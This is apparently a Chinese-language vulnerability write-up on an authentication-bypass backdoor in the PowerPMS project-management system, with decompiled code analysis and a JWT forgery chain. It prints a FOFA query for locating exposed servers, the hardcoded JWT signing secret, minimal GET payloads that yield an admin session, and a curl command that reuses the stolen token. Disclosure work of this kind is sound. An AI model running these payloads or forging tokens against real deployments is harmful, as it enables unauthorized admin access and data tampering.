漏洞简介

普华科技 PowerPMS 的 /Plan/BatchHandleFeedBackRecord 接口存在鉴权绕过(自动登录后门)漏洞。该接口完全不需要登录即可访问,匿名访问时服务端会自行从 数据库读取 admin 账号密码,并以 admin 身份真实执行一次登录流程,在响应头 Set-Cookie 中下发合法有效的 {SiteCode}_TOKEN{SiteCode}_REFRESHTOKEN,同时执行批量处理反馈记录的业务操作。攻击者只需发送一次匿名请求即可获得完整 admin 会话,访问全部管理接口并篡改业务数据

关联缺陷概述

同一次分析中还发现 JWT 体系存在关联缺陷:签名密钥硬编码在 DLL 中、token 解码不验签、会话可凭 token 声明自动创建、admin 用户 ID 为固定 GUID——四条叠加后攻击者无需任何账号密码即可伪造 admin 会话。

影响版本

普华科技 PowerPMS(具体版本未在分析中限定;文中证据表明各版本升级备份的 web.config 中均存在 Plan → Power.Controls.StdPlan.PlanControl 控制器映射,建议全版本排查修复)。

fofa语法

app="普华科技-PowerPMS" || body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"

漏洞分析

1 路由分发:无扩展名路径解析为「控制器/方法」

1.1 模块注册与控制器映射

Web.config 第 64 行注册了自定义模块 RouteModule(类型 Power.PMS.PowerPlat.RouteModule,位于 bin/Power.PMS.dll),它接管所有请求的 BeginRequest 事件。控制器映射来自 PowerControl 配置节(各版本升级备份 web.config 中均存在):Plan → Power.Controls.StdPlan.PlanControl, Power.Controls.StdPlan

1.2 关键代码:路径切分与无条件分发

对无扩展名路径,Application_BeginRequest 按 "/控制器/方法" 切分,array5[1] 为控制器名 "Plan"、array5[2] 为方法名 "BatchHandleFeedBackRecord"。此处取 PowerGlobal.CurrentSession 仅用于记录日志,取不到也不报错,随后无条件进入控制器分发:

数据管理

// RouteModule.Application_BeginRequest(Power.PMS.dll)
string[] array5 = request.Path.Split(new char[1] { '/' });
if (array5.Length < 3) { return; }
string text13 = array5[1];   // "Plan"
string text14 = array5[2];   // "BatchHandleFeedBackRecord"
...
text15 = ControlHelper.Helper.InvokeControlMethod(context, text13, text14, dictionary);

2 鉴权判定:Authorize = false 显式关闭鉴权

2.1 关键代码:方法标注

ControlHelper.InvokeControlMethod(Power.Controls.dll)中,只有当方法元 数据 value.Authorize == true 时才执行 Referer 校验、IP 绑定校验与 token 校验;Authorize == false不校验任何凭据直接执行方法。而 ActionAttribute 的 Authorize 默认值是 true——BatchHandleFeedBackRecord 上标注的 false 是被显式打开的,等同于有意的后门式设计:

// PlanControl(Power.Controls.StdPlan.dll)
[Power.Controls.PMS.Action(Authorize = false)]
public string BatchHandleFeedBackRecord(string plan_guid)

3 方法体:查库取 admin 密码并自动登录

3.1 关键代码:方法体

方法体第一件事就是查询 admin 账号的密码(SearchFlag.IgnoreRight 绕过数据权限),随后直接调用登录动作:

// PlanControl.BatchHandleFeedBackRecord
DataTable dataTable = BaseBusiness<UserBO>.FindAllByTable("Code='admin'", "Code", "Code,PassWord", 0, 1, SearchFlag.IgnoreRight);
string userPass = dataTable.Rows[0]["PassWord"].ToString();   // 直接查库拿 admin 密码
ILoginAction loginAction = new LoginAction();
loginAction.Login("admin", userPass, "zh-CN");                // 以 admin 身份登录!
ISession currentSession = PowerGlobal.CurrentSession;
if (BatchHandleFeedBack(plan_guid)) { ... }

3.2 密码校验为何必然通过

UserBO<T>.CheckPass(Power.Systems.dll)在 VEncryptLogin == 1 时执行 sPass == text || MD5(sPass) == text——把数据库里存的密码原值当作密码传入,sPass == text 恒成立,登录必然成功。

4 响应头下发合法 session/cookie 的机理

4.1 关键代码:LoginAction.Login

LoginAction.Login(IUserBO user, ...)(Power.Controls.dll)随后完成真实登录:新建 session 并填充 admin 身份信息,生成 sessionId 后 SaveSession 写入缓存(Redis 键形如 {SiteCode}_{DataBase}:M3:Session:{ssid}),再创建 refreshToken 与 JWT token,并写入响应 cookie

// LoginAction.Login(Power.Controls.dll)
session.SessionId = PowerGlobal.token.CreateSessionId(user.Id.ToString());
PowerGlobal.SaveSession(session);
...
string text3 = PowerGlobal.token.CreateToken(tokenInfo);
Power.Business.Common.Helper.setCookie(PowerConfig.CurrentSiteCode + "_REFRESHTOKEN", text2, 7);
Power.Business.Common.Helper.setCookie(PowerConfig.CurrentSiteCode + "_TOKEN", text3, 1);

Helper.setCookie(Power.Business.dll)的实现是 HttpContext.Current.Response.Cookies.Add(val),直接落到响应头 Set-Cookie,且该重载不设置 HttpOnly。同时 JSON 返回体里还带 sessionidtokenrefreshToken

这正是"响应头会设置合法的 session、cookie"现象的完整机理:它不是一个伪造的 cookie,而是服务端真实执行了一次 admin 登录流程后产生的完全合法的会话令牌——Token 由服务端用密钥签名,会话已存入服务端缓存,后续请求凭它即可通过全部鉴权。

5 业务影响:批量篡改反馈记录

BatchHandleFeedBack(plan_guid) 将指定计划下所有 Status=0 的反馈记录批量置为 Status=50(已处理)并保存。plan_guid 先经 Guid.Parse 校验,暂未构成 SQL 注入,但属于未授权 数据篡改。同一个 PlanControl 中还提供了 BatchHandleFeedBackRecordByEPS(按项目批量、后台线程执行),该方法是默认 Authorize=true 且校验管理员身份——两相对照,更能说明 2.2 中的 false 是有意开启。

6 关联缺陷:JWT 体系四缺陷叠加可伪造 admin 会话

6.1 JWT 签名密钥硬编码在 DLL 中

TokenControl(Power.Controls.Token.dll)中密钥为固定常量 PuHuaKeJi_JWT_TOKEN_Secret_Please_Donot_Modify_THINKS_.。该 DLL 随产品分发给所有客户,密钥等同公开,且全客户一致。

6.2 DecodeTokenInfo 解码不验签

CurrentSession 解析 token 时调用 jwtDecoder.Decode(token, secret, verify: false),签名完全不被校验——攻击者不需要密钥即可构造任意声明的 token。

6.3 CurrentSession 凭 token 声明自动建会话

缓存中不存在对应 ssid 时,只要 token 里带有 userid 与 language,就直接调用 token.CreateSession(userid, ssid, ...) 为该用户无密码创建会话并保存——查询 PB_User 表填充身份,不做任何密码校验。

6.4 admin 用户 ID 为固定 GUID

PowerGlobal.getDefaultSession 中 admin 的 UserId 硬编码为 ad000000-0000-0000-0000-000000000000

6.5 验签与伪造演示

使用反编译得到的硬编码密钥对样本 token 做 HMAC-SHA256 验签,结果签名匹配,证明该密钥真实可用。样本 token 的声明解读如下:

声明

含义

userid / humanid

ad000000-0000-0000-0000-000000000000

系统固定 admin GUID

ssid

cea2897572a94014a13d4c46c7719b0c

会话 ID

sitecode

TBEAPM01

目标客户站点

iss / sub / aud

shPower / ALL / guest

官方 CreateToken 从不生成这些字段,确认是外部构造

iat / exp

2026-08-13 02:23 至 02:33 UTC

10 分钟有效期,与官方 CreateToken 窗口一致

随后仿照 TokenControl.CreateToken 的声明结构,用同一密钥重新签发 admin token(userid 填固定 admin GUID、ssid 任意、有效期 10 分钟),自验签名同样匹配,伪造可行。服务端接受路径为:InvokeControlMethod 的 ValidToken 用同一密钥验签(HMAC-SHA256)→ 通过;CurrentSession 解码出 userid 与 ssid,缓存无此会话 → 触发 CreateSession 按 PB_User 建出 IsAdmin=true 的会话并保存 → 后续请求均为管理员身份。

漏洞复现

最小触发载荷

尾斜杠空段,无需知道任何有效 GUID 即可稳定拿到合法 admin 会话:

GET /Plan/BatchHandleFeedBackRecord/ HTTP/1.1
Host: example.com

响应与判定依据

Set-Cookie 携带 {SiteCode}_TOKEN(JWT,含 ssid)与 {SiteCode}_REFRESHTOKEN(7 天有效,可刷新续期),响应体 JSON 还含 sessionidtokenrefreshToken。攻击者用拿到的 TOKEN cookie(或 token 请求头)即可作为 admin 访问所有 Authorize=true 的管理接口:

HTTP/1.1 200 OK
Set-Cookie: {SiteCode}_REFRESHTOKEN=2f8d6b3c-4e91-4a7f-b2c5-9d1a0e7f3c61; path=/
Set-Cookie: {SiteCode}_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJhZDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDAiLCJzc2lkIjoiZmZkZWVjY2JhYTk4ODc3NjY1NTQ0MzMyMjExMDA5OTgifQ.xYzAbC; path=/

{"sessionid":"ffdeeccbaa9887766554433221100998","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiJh

带参触发

同时完成"获取 admin 会话"与"篡改业务 数据":

GET /Plan/BatchHandleFeedBackRecord?plan_guid=1f2e3d4c-5b6a-7988-9a0b-c1d2e3f4a5b6 HTTP/1.1
Host: example.com

获取 TOKEN 后的利用

curl -H 'token: <token>' https://example.com/Plan/GetWBSEVM
# 或作为 Cookie: {SiteCode}_TOKEN=<token>

实测验证

空参数请求仍下发合法会话

实测 GET /Plan/BatchHandleFeedBackRecord/(尾斜杠、不带任何参数),响应头 Set-Cookie 照常携带 _TOKEN_REFRESHTOKEN,响应体返回 SQL 报错:将字符串转换为 uniqueidentifier 时失败。Select A.* From PS_PLN_FeedBackRecord A Where (0=0) and A.plan_guid='' and A.Status=0 Order By A.period_enddate

说明两点:其一,登录代码位于业务代码之前,cookie 在异常发生前已写入 Response.Cookies,catch 只是返回错误文本、并不撤销 cookie——报错与"拿到合法 admin 会话"并不互斥;其二,方法自行 catch 后 return ex.Message,绕过了 RouteModule 对 XSqlException 的统一脱敏,响应体直接暴露表名、列名、数据库名与数据库类型,属信息泄露。

尾斜杠与否的差异:必填参数校验被绕过

实测无尾斜杠的 GET /Plan/BatchHandleFeedBackRecord 直接返回 500(执行控制器方法错误),响应无 cookie;加尾斜杠则返回 200 且携带 cookie。差异来自两个环节:

// RouteModule 路径切分(Power.PMS.dll)
string[] array5 = request.Path.Split(new char[1] { '/' });
// 无斜杠: ["", "Plan", "BatchHandleFeedBackRecord"] → 参数从 QueryString 收集(为空)
// 有斜杠: ["", "Plan", "BatchHandleFeedBackRecord", ""] → dictionary["0"] = ""
if (array5.Length > 3)
    for (int j = 3; j < array5.Length; j++)
        dictionary.Add((j - 3).ToString(), PowerGlobal.ReplaceXSS(array5[j]));
// ControlHelper.InvokeControlMethod 必填参数校验(Power.Controls.dll)
if (value.ArgList.Count > args.Count)
    throw new NotExistsMethodExcpetion(...);   // 无斜杠: args 为空 → 500,方法体未执行
if (value.ArgList.Count > 0 && !args.ContainsKey("0"))
{
    foreach (string arg in value.ArgList)
        if (!args.ContainsKey(arg))
            throw new NotExistsMethodExcpetion(...);
}

无尾斜杠时参数字典为空,ArgList.Count(1) > args.Count(0) 命中校验,抛出 NotExistsMethodExcpetion,RouteModule 的 catch 将状态码置为 500——方法体根本没执行,登录未发生,自然没有 cookie。有尾斜杠时,末尾空字符串段被当作位置参数填入 dictionary["0"] = "",数量校验与 ContainsKey("0") 校验同时通过;动态代理把空串绑定给 plan_guid,方法体执行——自动登录先跑、cookie 下发,随后空串跳过 Guid.ParseIsNullOrEmpty 判断),SQL 拼出 plan_guid='' 报错。

触发条件总结

触发条件不是"有 / 无参数",而是参数字典里有没有东西——尾斜杠只是恰好制造了一个空的 "0" 号槽位,骗过了框架的必填参数校验。实测有效的触发方式:

  • 尾斜杠空段:/Plan/BatchHandleFeedBackRecord/——最小触发载荷,无需知道任何有效 GUID,即可稳定拿到合法 admin 会话;

  • 查询串带空值:/Plan/BatchHandleFeedBackRecord?plan_guid=

  • 查询串带任意字符串:非空非法 GUID 在 try 块之外Guid.Parse 处抛 FormatException,但登录已在 try 内先执行,cookie 同样已下发;

  • 真实有效的 plan_guid:cookie 下发与批量 数据篡改同时成功。

因此尾斜杠请求同时承担了"后门探针"的作用:只要响应头出现 _TOKEN / _REFRESHTOKEN,即证明自动登录已执行成功,响应体里的 SQL 报错反而成为确认信号。